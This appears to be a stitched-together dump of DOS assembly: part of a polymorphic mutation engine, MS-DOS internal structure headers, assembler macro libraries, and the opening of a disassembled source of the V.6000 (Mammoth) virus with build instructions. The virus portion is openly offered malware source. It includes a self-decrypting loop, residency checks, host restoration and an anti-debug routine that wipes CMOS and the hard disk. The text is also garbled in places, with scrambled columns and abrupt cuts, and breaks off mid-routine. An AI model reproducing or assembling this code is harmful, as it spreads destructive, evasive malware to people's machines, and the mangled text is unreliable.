encode_far_jmp pop bx add [bx], di pblabel unprotect_reg1 jmp unprotect_reg ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ DONE DONE ;* encode int 8, 1C, 16, 17, 11, 12, 2B, 28 ********************************

cmp al, 5 DOIF A ;need setup push ax sto_byte opMOV_AHimm test ax, di ;pseudo-random sbb ax, ax ;-1 | 0 inc ax ; inc ax ; stosb ; 1 | 2 pop ax DONE add ax, offset int_any_reg push ax call many_nonbranch_garble pop si sto_byte opINT movsb pblabel unprotect_reg mov protect_reg, -1 ret ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ DONE call RND_GET_BYTE DOIF Z call choose_function sto_two_byte opINT, 21h DOELSE call RND_GET_BYTE mov al,6 DOIF Z sub al,6-1Eh DONE stosb ;push ds(es) push ax call many_nonbranch_garble call choose_word_register xchg cx, ax call encode_mov call RND_GET_THREE_BITS stosw shl ax, 4 mov [engdata.segm_IDT], 84h sub [engdata.segm_IDT], al ;- enc mov ds(es), reg sto_byte 8Eh pop ax push ax ;ax=6 | 1E MASKA al, 110xx000 add al, cl stosb call choose_function ;clear C before pushf sto_byte opPUSHF ;pushf ; call many_nonbranch_garble test [engdata.zmeflags], MASK EN_RELOCATOR GOIN NZ ;force use call call RND_GET DOIF Z ;use call pop ax push ax ;ax=6 | 1E cmp al,6 DOIF E

opSEGES ;seges DONE ;ZF=1 -> 26, ZF=0 -> EB(maybe) sto_two_byte 0ffh, 1Eh mov al, [engdata.segm_IDT] xor ah, ah stosw DOELSE ;use jmp sto_byte opPUSH_CS ;push cs call encode_push_addr pop ax push ax ;ax=6 | 1E cmp al, 6 DOIF E sto_byte opSEGES ;seges DONE push bx sto_two_byte 0ffh, 2Eh mov al, [engdata.segm_IDT] xor ah, ah stosw call shit pop bx add [bx],di DONE pop ax inc ax stosb DONE ;** encode test CF after int21 ********************************************* call RND_GET_BYTE DOIF NZ ; jz @@ret ;maybe :) mov al, opJC adc al, 0 stosb cmp si, offset cf_1 DOIF A ;if instruct > 0A -> 73<=>72 dec ax DONE cmp al, opJC DOIF NE ;73(jnc) call RND_GET_THREE_BITS inc ax ;al=1..8 stosb ;over shit call shit_ax DOELSE ;72(jc) call RND_GET_BYTE ; to shit stosb DONE DONE pblabel unprotect_reg2 jmp unprotect_reg ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; high byte holds the opcode, low byte holds the second byte of the ; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low ; byte hold the maximum amount to add to the high byte in creating the ; instruction. This allows one word to generate more than one instruction, ; including the byte or word forms of the instructions ; note that this is reverse of what will be actually stored ;---------------------------------------------------------------------------ONEHALF = 0


TWOHALF = 1 ;USE _ANY_ REGISTER FOR THIS OPERATION BINOP = 0 ;TWO ARGUMENT OPERATION UNEOP = 1 ;ONE ARGUMENT OPERATION ONLY_THIS_OPCODE = 00b USE_ANY_SIZE = 01b INCL_NEXT_OPCODE = 11b ;---------------------------------------------------------------------------dop macro highopcode, shiftneg, lowpcode, twohalf, secdlim db highopcode or shiftneg, lowpcode or ((twohalf shl 2) and 4) or secdlim endm ;---------------------------------------------------------------------------pblabel garble_table ;for decrypt pblabel encrypt_opcode_table dop 10000000b, BINOP, 11110000b, ONEHALF, USE_ANY_SIZE ;³ dop 11110110b, UNEOP, 11011000b, ONEHALF, USE_ANY_SIZE ;³ dop 11010000b, UNEOP, 11000000b, ONEHALF, USE_ANY_SIZE ;³ ;³ dop 10000000b, BINOP, 11000000b, ONEHALF, USE_ANY_SIZE ;³Ú dop 00000010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE ;³³ dop 00110010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE ;³³ dop 00101010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE ;³³ dop 10000000b, BINOP, 11101000b, ONEHALF, USE_ANY_SIZE ;À³ ; ³ dop 11010000b, UNEOP, 11001000b, ONEHALF, USE_ANY_SIZE ; ³ dop 11110110b, UNEOP, 11011000b, ONEHALF, USE_ANY_SIZE ; ³ dop 10000000b, BINOP, 11110000b, ONEHALF, USE_ANY_SIZE ; ³ ; for encrypt pblabel end_encrypt_opcode_table ; ^---^^-simetrichno sizeof_encrypt_opcode_table equ ($-encrypt_opcode_table) ;startup pblabel enc_mov_imm dop 10110000b, dop 10001010b, dop 10001010b, dop 10001010b, dop 00001010b, dop 00010010b, dop 00011010b, dop 00100010b, ; dop 00111000b, dop 00111010b, ; dop 10001010b, ; ; dop 10001010b, dop 10000000b, dop 10000000b, dop 10000000b, dop 10000000b, ; dop dop dop dop dop dop dop dop dop dop 10000000b, 10000100b, 11010000b, 11010000b, 11010000b, 11010000b, 11010000b, 11010000b, 11010000b, 11110110b, ^^ |=


11000000b, 00000000b, 00000000b, 00000000b, 00000000b, 00000000b, 00000000b, 00000000b, 00000000b, 00000000b, 00000000b, 00000000b, 11001000b, 11010000b, 11011000b, 11100000b,



; ; ; ;

BINOP, 11100000b, BINOP, 00000000b, UNEOP, 11001000b, UNEOP, 11010000b, UNEOP, 11011000b, UNEOP, 11100000b, UNEOP, 11101000b, UNEOP, 11111000b, UNEOP, 11111000b, UNEOP, 11010000b, (RND and ^ 1 ^^ = 0 possible


; ^- if 1 then not need arguments(shift, not, neg) pblabel enc_test dop 11110110b, BINOP, 11000000b, TWOHALF, USE_ANY_SIZE dop 10000000b, BINOP, 11111000b, TWOHALF, USE_ANY_SIZE ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel onebyte_table stc ; | clc ; | cld ; | cmc ; | sahf ; | pblabel onebyte_table_ax ; | cli ;-\ dec ax ; | inc ax ;-/-\ ;****************************************|********************************** lahf ; | daa ; | das ; | cbw ; | xlat ; / ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;PMtest db 050h,0B8h,086h,016h,0CDh,02Fh,023h,0C0h,058h,075h,006h,05Fh,055h db 08Bh,0ECh,0FFh,0E7h pblabel ZME_END ends end ;read/write int 25/26 AbsDiskIORec STRUC AbsDisk_start_sect AbsDisk_sect_num AbsDisk_buffer ENDS

dd dw dd

? ; lStartSect logical sector no. to start r/w ? ; wSectCnt number of sectors to read/write ? ; pBuffer FAR addr of data buffer

; SCCSID = @(#)arena.asm 1.1 85/04/09 ;BREAK <Memory arena structure> ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; ; ; arena item ; arena STRUC arena_signature DB ? ; 4D for valid item, 5A for last item arena_owner DW ? ; owner of arena item arena_size DW ? ; size in paragraphs of item arena ENDS ; ; CAUTION: The routines in ALLOC.ASM rely on the fact that arena_signature ; and arena_owner_system are all equal to zero and are contained in DI. Change ; them and change ALLOC.ASM. arena_owner_system EQU 0 ; free block indication ; valid signature, not end of arena ; valid signature, last block in arena ; O G R A M M E R ;

arena_signature_normal EQU 4Dh arena_signature_end EQU 5Ah ; ; C A V E A T



;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; SCCSID = @(#)dirent.asm 1.1 85/04/10 ; SCCSID = @(#)dirent.asm 1.1 85/04/10 ;Break <Directory entry> ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

+---------------------------+ | (12 BYTE) filename/ext | +---------------------------+ | (BYTE) attributes | +---------------------------+ | (10 BYTE) reserved | +---------------------------+ | (WORD) time of last write | +---------------------------+ | (WORD) date of last write | +---------------------------+ | (WORD) First cluster | +---------------------------+ | (DWORD) file size | +---------------------------+ First byte of filename Time: Date:

0 11 12 22 24 26 28

0 B C 16 18 1A 1C

= E5 -> free directory entry = 00 -> end of allocated directory Bits 0-4=seconds/2, bits 5-10=minute, 11-15=hour Bits 0-4=day, bits 5-8=month, bits 9-15=year-1980

dir_entry dir_name dir_attr dir_pad dir_time dir_date dir_first dir_size_l dir_size_h dir_entry


11 DUP (?) ? 10 DUP (?) ? ? ? ? ?

; ; ; ; ; ; ; ;

file name attribute bits reserved for expansion time of last write date of last write first allocation unit of file low 16 bits of file size high 16 bits of file size

attr_read_only attr_hidden attr_system attr_volume_id attr_directory attr_archive attr_device


1h 2h 4h 8h 10h 20h 40h

; This is a VERY special bit. ; NO directory entry on a disk EVER ; has this bit set. It is set non-zero ; when a device is found by GETPATH



attr_hidden+attr_system+attr_directory ; OR of hard attributes for FINDENTRY attr_read_only+attr_archive+attr_device ; ignore this(ese) attribute(s) during ; search first/next attr_read_only+attr_hidden+attr_system+attr_archive ; changeable via CHMOD 1.1 85/04/10 1.1 85/04/10





; ;

SCCSID = @(#)dpb.asm SCCSID = @(#)dpb.asm

;BREAK <DPB structure> ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; dpb STRUC dpb_drive DB ? ; Logical drive # assoc with DPB dpb_UNIT DB ? ; Driver unit number of DPB dpb_sector_size DW ? ; Size of physical sector in bytes dpb_cluster_mask DB ? ; Sectors/cluster - 1 dpb_cluster_shift DB ? ; Log2 of sectors/cluster dpb_first_FAT DW ? ; Starting record of FATs dpb_FAT_count DB ? ; Number of FATs for this drive dpb_root_entries DW ? ; Number of directory entries dpb_first_sector DW ? ; First sector of first cluster dpb_max_cluster DW ? ; Number of clusters on drive + 1 dpb_FAT_size DB ? ; Number of records occupied by FAT dpb_dir_sector DW ? ; Starting record of directory dpb_driver_addr DD ? ; Pointer to driver dpb_media DB ? ; Media byte dpb_first_access DB ? ; This is init. to -1 to force a media ; check the first time this DPB is used dpb_next_dpb DD ? ; Pointer to next Drive parameter block dpb_next_free DW ? ; Cluster # of last allocated cluster dpb_free_cnt DW ? ; Count of free clusters, -1 if unknown dpb ENDS DPBSIZ EQU SIZE dpb ; Size of the structure in bytes

DSKSIZ = dpb_max_cluster ; Disk size (used during init only) ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; SCCSID = ; SCCSID = ;BREAK <EXEC and ; ; EXEC arg block ; @(#)exe.asm 1.1 85/04/10 @(#)exe.asm 1.1 85/04/10 EXE file structures> - load/go program

; ; The following get used as arguments to the EXEC system call. They indicate ; whether or not the program is executed or whether or not a program header ; gets created. ; exec_func_no_execute EQU 1 ; no execute bit exec_func_overlay EQU 2 ; overlay bit Exec0 Exec0_environ Exec0_com_line Exec0_5C_FCB Exec0_6C_FCB Exec0 Exec1 Exec1_environ Exec1_com_line Exec1_5C_FCB Exec1_6C_FCB Exec1_SP Exec1_SS Exec1_IP STRUC DW DD DD DD ENDS STRUC DW DD DD DD DW DW DW

? ? ? ?

; ; ; ;

seg addr of environment pointer to asciz command line default fcb at 5C default fcb at 6C

? ? ? ? ? ? ?

; ; ; ; ; ; ;

seg addr of environment pointer to asciz command line default fcb at 5C default fcb at 6C stack pointer of program stack seg register of program entry point IP

Exec1_CS Exec1 Exec3 Exec3_load_addr Exec3_reloc_fac Exec3



; entry point CS

? ?

; seg address of load point ; relocation factor

; ; Exit codes in upper byte ; Exit_terminate EQU Exit_abort EQU Exit_Ctrl_C EQU Exit_Hard_Error EQU Exit_Keep_process EQU ; ; EXE file header ; EXE_file STRUC exe_signature DW exe_len_mod_512 DW exe_pages DW exe_rle_count DW exe_par_dir DW exe_min_BSS DW exe_max_BSS DW exe_SS DW exe_SP DW exe_chksum DW exe_IP DW exe_CS DW exe_rle_table DW exe_iov DW exe_sym_tab DD EXE_file ENDS

0 0 1 2 3

? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

must contain 4D5A (yay zibo!) low 9 bits of length number of 512b pages in file count of reloc entries number of paragraphs before image minimum number of para of BSS max number of para of BSS stack of image SP of image checksum of file (ignored) IP of entry CS of entry byte offset of reloc table overlay number (0 for root) offset of symbol table in file

exe_valid_signature EQU 5A4Dh exe_valid_old_signature EQU 4D5Ah symbol_entry sym_value sym_type sym_len sym_name symbol_entry ; ; ;Break STRUC DD ? DW ? DB ? DB 255 dup (?) ENDS

SCCSID = @(#)find.asm 1.1 85/04/10 SCCSID = @(#)find.asm 1.1 85/04/10 <find first/next buffer>

find_buf STRUC ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; find_buf_drive DB ? ; drive of search find_buf_name DB 11 DUP (?) ; formatted name find_buf_sattr DB ? ; attribute of search find_buf_LastEnt DW ? ; LastEnt find_buf_DirStart DW ? ; DirStart find_buf_NetID DB 4 DUP (?) ; Reserved for NET

; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; find_buf_attr find_buf_time find_buf_date find_buf_size_l find_buf_size_h find_buf_pname find_buf ENDS DB DW DW DW DW DB ? ? ? ? ? 13 DUP (?) ; ; ; ; ; ; attribute found time date low(size) high(size) packed name

; SCCSID = @(#)pdb.asm ;BREAK <Process data block>

1.1 85/04/10

; ; Process data block (otherwise known as program header) ; FilPerProc Process_data_block PDB_Exit_Call PDB_block_len EQU 20

STRUC DW ? ; INT int_abort system terminate DW ? ; size of execution block DB ? PDB_CPM_Call DB 5 DUP (?) ; ancient call to system PDB_Exit DD ? ; pointer to exit routine PDB_Ctrl_C DD ? ; pointer to ^C routine PDB_Fatal_abort DD ? ; pointer to fatal error ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; PDB_Parent_PID DW ? ; PID of parent (terminate PID) PDB_JFN_Table DB FilPerProc DUP (?) ; indices into system table ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; PDB_environ DW ? ; seg addr of environment ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; PDB_User_stack DD ? ; stack of self during system calls PDB_JFN_Length DW ? ; number of handles allowed PDB_JFN_Pointer DD ? ; pointer to JFN table PDB_Next_PDB DD ? ; pointer to nested PDB's PDB_PAD1 DB 14h DUP (?) ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; PDB_Call_system DB 5 DUP (?) ; portable method of system call ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; PDB_PAD2 DB 7h DUP (?) ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; Process_data_block ENDS ; SCCSID = @(#)sf.asm 1.1 85/04/10 ;BREAK <Internal system file table format>

;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; ; ; system file table ; SF SFLink SFCount SFTable SF STRUC DD DW DW ENDS

? ? ?

; number of entries ; beginning of array of the following

; ; system file table entry ; sf_entry sf_ref_count sf_mode sf_attr sf_flags STRUC DW DW DB DW

? ? ? ?




sf_firclus DW ? sf_time DW ? sf_date DW ? sf_size DD ? sf_position DD ? ; ; Starting here, the next 7 bytes may be used by the file system to store an ; ID ; sf_cluspos DW ? ; Position of last cluster accessed sf_lstclus DW ? ; Last cluster accessed sf_dirsec DW ? ; Sector number for this file sf_dirpos DB ? ; Offset of this entry in the above ; ; End of 7 bytes of file-system specific info.

; number of processes sharing entry ; if FCB then ref count ; mode of access or high bit on if FCB ; attribute of file ;Bits 8-15 ; Bit 15 = 1 if remote file ; = 0 if local file or device ; Bit 14 = 1 if date/time is not to be ; set from clock at CLOSE. Set by ; FILETIMES and FCB_CLOSE. Reset by ; other reseters of the dirty bit ; (WRITE) ; Bit 13 = Pipe bit (reserved) ; ; Bits 0-7 (old FCB_devid bits) ; If remote file or local file, bit ; 6=0 if dirty Device ID number, bits ; 0-5 if local file. ; bit 7=0 for local file, bit 7 ; =1 for local I/O device ; If local I/O device, bit 6=0 if EOF ; Bit 5=1 if Raw mode ; Bit 0=1 if console input device ; Bit 1=1 if console output device ; Bit 2=1 if null device ; Bit 3=1 if clock device ; Points to DPB if local file, points ; to device header if local device, ; points to net device header if ; remote ; First cluster of file (bit 15 = 0) ; Time associated with file ; Date associated with file ; Size associated with file ; R/W pointer or LRU count for FCBs

; sf_name


11 DUP (?)

; ; ; ;

11 character name that is in the directory entry. This is used by close to detect file deleted and disk changed errors.

; SHARING INFO sf_chain sf_UID sf_PID sf_MFT sf_entry sf_netid sf_OpenAge sf_LRU


? ? ? ?

; link to next SF

BYTE PTR sf_cluspos WORD PTR sf_position+2 WORD PTR sf_position 5h


; ; Note that we need to mark an SFT as being busy for OPEN/CREATE. This is ; because an INT 24 may prevent us from 'freeing' it. We mark this as such ; by placing a -1 in the ref_count field. ; sf_busy EQU -1 ; mode mask for FCB detection sf_isfcb EQU ; Flag word masks sf_isnet sf_close_nodate sf_pipe sf_no_inherit sf_net_spool



1000000000000000B 0100000000000000B 0010000000000000B 0001000000000000B 0000100000000000B

; Local file/device flag masks devid_file_clean EQU devid_file_mask_drive EQU

40h 3Fh

; true if file and not written ; mask for drive number

devid_device EQU 80h ; true if a device devid_device_EOF EQU 40h ; true if end of file reached devid_device_raw EQU 20h ; true if in raw mode devid_device_special EQU 10h ; true if special device devid_device_clock EQU 08h ; true if clock device devid_device_null EQU 04h ; true if null device devid_device_con_out EQU 02h ; true if console output devid_device_con_in EQU 01h ; true if consle input ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; ; structure of devid field as returned by IOCTL is: ; ; BIT 7 6 5 4 3 2 1 0 ; |---|---|---|---|---|---|---|---| ; | I | E | R | S | I | I | I | I | ; | S | O | A | P | S | S | S | S | ; | D | F | W | E | C | N | C | C | ; | E | | | C | L | U | O | I | ; | V | | | L | K | L | T | N | ; |---|---|---|---|---|---|---|---|

; ISDEV = 1 if this channel is a device ; = 0 if this channel is a disk file ; ; If ISDEV = 1 ; ; EOF = 0 if End Of File on input ; RAW = 1 if this device is in Raw mode ; = 0 if this device is cooked ; ISCLK = 1 if this device is the clock device ; ISNUL = 1 if this device is the null device ; ISCOT = 1 if this device is the console output ; ISCIN = 1 if this device is the console input ; ; If ISDEV = 0 ; EOF = 0 if channel has been written ; Bits 0-5 are the block device number for ; the channel (0 = A, 1 = B, ...) ; devid_ISDEV EQU 80h devid_EOF EQU 40h devid_RAW EQU 20h devid_SPECIAL EQU 10H devid_ISCLK EQU 08h devid_ISNUL EQU 04h devid_ISCOT EQU 02h devid_ISCIN EQU 01h devid_block_dev EQU 1Fh ; mask for block device number

;*************************************************************************** s_y MACRO oprt, cntr, dsiz &oprt&cntr&dsiz MACRO REPT cntr &oprt&&dsiz ENDM ENDM ENDM ;*************************************************************************** s_z MACRO oprt, cntr, cmmd oprt&cntr MACRO REPT cntr shr 1 &cmmd&w ENDM IF cntr and 1 &cmmd&b ENDIF ENDM ENDM ;*************************************************************************** IRPC cntr, 12345 IRP dsiz, <B,W,D> IRP oprt, <stos, scas, lods, movs, cmps, ins, outs> s_y oprt, cntr, dsiz ENDM ENDM s_z movs, cntr, movs s_z add_di, cntr, scas s_z add_si, cntr, lods s_z add_sdi, cntr, cmps ENDM ;*************************************************************************** PURGE s_y, s_z ;***************************************************************************


MACRO value:REQ mov al, value stosb

ENDM ;*************************************************************************** STO_WORD_ MACRO value mov ax, value stosw ENDM ;*************************************************************************** STO_WORD MACRO value IF value NE 0 mov ax, value ELSE sub ax, ax ENDIF stosw ENDM ;*************************************************************************** STO_TWO_BYTE MACRO value1:REQ, value2:REQ ; STO_WORD (value2 shl 8) or value1 IF (value2 shl 8) or value1 mov ax, (value2 shl 8) or value1 ELSE sub ax, ax ENDIF stosw ENDM ;*************************************************************************** MOVSEG macro to_seg, from_seg push from_seg pop to_seg endm ;*************************************************************************** MASKA MACRO regis1:REQ, mask2:REQ ;MASKA al, 001xx110 ;and al, 00?11??0 ;or al, 00100110 local x, tmp_mask x=1 tmp_mask = 0 IRPC sb, mask2 tmp_mask = tmp_mask*2+sb ENDM and regis1, tmp_mask x=0 tmp_mask = 0 IRPC sb, mask2 tmp_mask = tmp_mask*2+sb ENDM IF tmp_mask NE 0 or regis1, tmp_mask ENDIF ENDM ;*************************************************************************** MIN MACRO frst, scnd local nomov cmp frst, scnd jb nomov mov frst, scnd nomov: ENDM ;***************************************************************************

MAX MACRO frst, scnd local nomov cmp frst, scnd ja nomov mov frst, scnd nomov: ENDM ;*************************************************************************** crproc MACRO procname, proc_crc public procname procname proc extrn cryproc:near call cryproc dw ? dw proc_crc ENDM ;*************************************************************************** pbproc MACRO procname public procname procname proc ENDM ;*************************************************************************** pblabel MACRO lblname public lblname lblname: ENDM ;*************************************************************************** ;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ;º The STructured AssembleR language macros º ;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; (C) Dmitry Timchenko 1989-1991 ; Version 1.4 ; Turbo Assembler Version. LONG specifier is UNNECESSARY


ifndef ??version **** Turbo Assembler required. For MASM use STAR13.INC **** endif if ??version lt 0200h **** Turbo Assembler 2.0 or higher required. Use STAR13T.INC **** endif



;It makes all dirty work of SHORT/LONG ; recognizing ( see STAR13.INC )

;Ú***** Auxiliary (implementation) macros *****¿ ; Current level counters settings PN,PL,PV PN&@&PL&PV PN&@&PL


MACRO PL = B@&PL = E@&PL = X@&PL



Label (MARK) settings PM,PL,PN = $


; ; ; ; ; ;

Forward jump vector generation PC conditon code ( Z/NZ/C/NC... ) PM label header PL nesting level PN counter for this level INV 0/1 - inverse condition PC,PM,PL,PN,INV ;Label to jump to ;Command: "JMP" ;INV=0 --> Need command ;else --> Needn't command




;Command: "J<PC>" ;YesJump - straight condition

;NoJmp - reverse condition


; Reverse jump vector generation J@R MACRO PC,PM,PL,PN V@ = PM&PL&PN IFB <PC>;; jmp V@ ELSE;; _YJ&PC V@ ENDIF;; ENDM Command: JMP Command: J<PC> (Command)

; ELSE mode settings EL@I MACRO PL,VAL IFNB <VAL> L@I&PL = VAL ENDIF TL@ = L@I&PL ENDM ; An auxiliary macro ; for counters initialization I@NIT MACRO PL B@&PL = 0

E@&PL = X@&PL = L@I&PL = ENDM

0 0 0


Variables initial settings macro. MACRO ;;**********












; There are no mirror commands for LOOPxx & JCXZ, ; so we're forced to use MACROS in these cases S@KIP MACRO opcod,target local Skip_Label opcod Skip_Label jmp target Skip_Label label near ENDM _NJCXZ MACRO target S@KIP JCXZ,target ENDM _NJLU MACRO target S@KIP LOOP,target ENDM _NJLUNE MACRO target S@KIP LOOPNE,target ENDM _NJLUNZ MACRO target S@KIP LOOPNZ,target ENDM _NJLUE MACRO target S@KIP LOOPE,target ENDM _NJLUZ MACRO target S@KIP LOOPZ,target ENDM ENDM ;;**********

;À*********************************************Ù ;Ú***** ; Language macros *****¿

Pass next block till the end or DOELSE


MACRO CND S@T %L@+1 J@F CND,E@,%L@+1,%T@E,0 S@T %L@ EL@I %L@,0 ENDM

; Enter next block immediately GOIN MACRO CND S@ B,%L@+1,+1 J@F CND,B@,%L@+1,%T@B,0 S@ B,%L@+1,-1 ENDM ; Go to the begin of current block REPEAT MACRO CND J@R CND,B@,%L@,%T@B,0 ENDM ; Go to the end of current block ; (skip all DOELSE's) EXIT MACRO CND J@F CND,X@,%L@,%T@X,0 ENDM ; Go to the next DOELSE if present ; or to the end of current block NEXT MACRO CND J@F CND,E@,%L@,%T@E,0 ENDM ; The begin of a block without ; test of condition DO MACRO L@ = L@+1 S@ B,%L@,+1 M@ B@,%L@,%T@B S@T %L@ EL@I %L@,0 ENDM ; The end of a block without loop DONE MACRO M@ X@,%L@,%T@X M@ E@,%L@,%T@E S@ X,%L@,+1 S@ E,%L@,+1 L@ = L@-1 S@T %L@ EL@I %L@,0 ENDM ; The end of a loop-block CYCLE MACRO CND REPEAT CND DONE ENDM ; The begin of a block with ; condition test DOIF MACRO CND L@ = L@+1 S@T %L@

J@F CND,E@,%L@,%T@E,1 S@ B,%L@,+1 M@ B@,%L@,%T@B EL@I %L@,0 ENDM ; The alternative block part begin operator DOELSE MACRO EXIT ,LNG S@T %L@ M@ E@,%L@,%T@E S@ E,%L@,+1 EL@I %L@,1 ENDM ; The enclosed IF (DOIF-{DOELSE-ELSIF...}-DONE) ELSIF MACRO CND EL@I %L@ IF TL@ NE 1 .err ***** STAR error: ELSIF without DOELSE or with PASS ELSE J@F CND,E@,%L@,%T@E,1 S@ B,%L@+1,+1 M@ B@,%L@+1,%T@B S@T %L@ ENDIF EL@I %L@,0 ENDM ;À*********************************************Ù INITS ;Variables initialization


; ; Disassembled by Tcp / 29A ; ; Virus: V.6000 (aka NoKernel aka Mammoth.6000) ; Author: ? ; Country: Russia (?) ; Comments: Polymorphic, multipartite, tunneling, damage, ; full-stealth, HD-ports,... ; The most interesting feature is that it can ; stay resident after a cold reboot and loading ; from a clean DOS floppy disk!!!!!!!! ; WARNING: This is a very dangerous virus!! ; ; To assembly: ; tasm /m v6000.asm ; tlink v6000 ; exe2bin v6000 ;------------------------------------------------------------.286 v6000

segment byte public '' assume cs:v6000,es:v6000,ss:v6000,ds:v6000 org 0 db dw db dw dw db db di _loop_dec 0B9h ; mov cx,length_virus+[0..1Fh] offset(length_virus) 0BFh ; mov di,offset(code_enc)+100h offset(code_enc)+100h 802Eh 35h 0 ; xor byte ptr cs: ; [di], ; l_mask

start: r_index num_bytes r_source st_code_enc _loop_dec: prefix_op r_op l_mask i_inc: inc d_loop: loop clc code_enc: delta mov mov xor mov add push pop cld rep cli push pop mov add mov mov mov mov mov mov jmp_antidebug ofs_antidebug jmp

equ word ptr $+1 bp,offset(start)+100h cx,offset(end_virdata)-buffer al,al di,offset(buffer) di,bp cs es stosb ; Clear data area

cs ss sp,offset(vstack) sp,bp [bp+delta_offset],bp [bp+seg_psp],ds dx,word ptr [bp+jmp_antidebug] bx,(offset(kill_cmos_hd)-ofs_antidebug-2) [bp+jmp_antidebug],0E9h ; jmp [bp+ofs_antidebug],bx equ byte ptr $ equ word ptr $+1 ; jmp kill_cmos_hd ; Kill CMOS & HD if debugging (or Pentium!) no_debug

db no_debug: mov mov int cmp je mov int

9 word ptr [bp+jmp_antidebug],dx ; Restore jmp ax,0B0Bh 21h ; Resident check ax,0EFEFh ; Already resident? restore_host ; Yes? then jmp ah,30h 21h ; DOS - GET DOS VERSION ; Return: AL = major version number ; (00h for DOS 1.x) ; AH = minor version number al,0Ah ; >DOS 10.xx? (why???) restore_host ; Yes? then jmp al,3 ; >=DOS 3.00? try_to_infect_hd ; Yes? then jmp byte ptr [bp+host_type],3 ; EXE? restore_exe ; Yes? then jmp cs ; It is a COM file ds cs es si,offset(header) si,bp di,100h bx,di ; Restore original bytes (3 bytes)

cmp ja cmp jae restore_host: cmp je push pop push pop mov add mov mov movsw movsb cli mov jmp restore_exe: mov mov mov mov add add mov mov mov add add push pop push xor push popf pop cli mov mov sti jmp

sp,0FFFEh bx

; Set default stack ; jmp 100h (exec host)

es,[bp+seg_psp] dx,[bp+exeip] bx,[bp+relocs] cx,es bx,cx bx,10h [bp+ep_ip],dx [bp+ep_cs],bx ax,[bp+reloss] ax,cx ax,10h es ds ax ax,ax ax ax


; Relocate host CS

; Relocate host SS ; Add PSP

; Clear flags

ss,ax ; Set stack sp,cs:[bp+relosp] dword ptr cs:[bp+ep_ip] ; Exec host

try_to_infect_hd: call check4ide cmp al,66h ; IDE HD? jne start_tunneling ; No? then jmp (don't use ports) mov ax,160Ah

int or jz get_vi13: mov call mov mov mov jmp

2Fh ; - Multiplex - MS WINDOWS ax,ax ; Windows running? start_tunneling ; Yes? then jmp al,13h get_int_vector [bp+ofs_i13],bx [bp+seg_i13],es [bp+use_ports],1 kill_vsafe

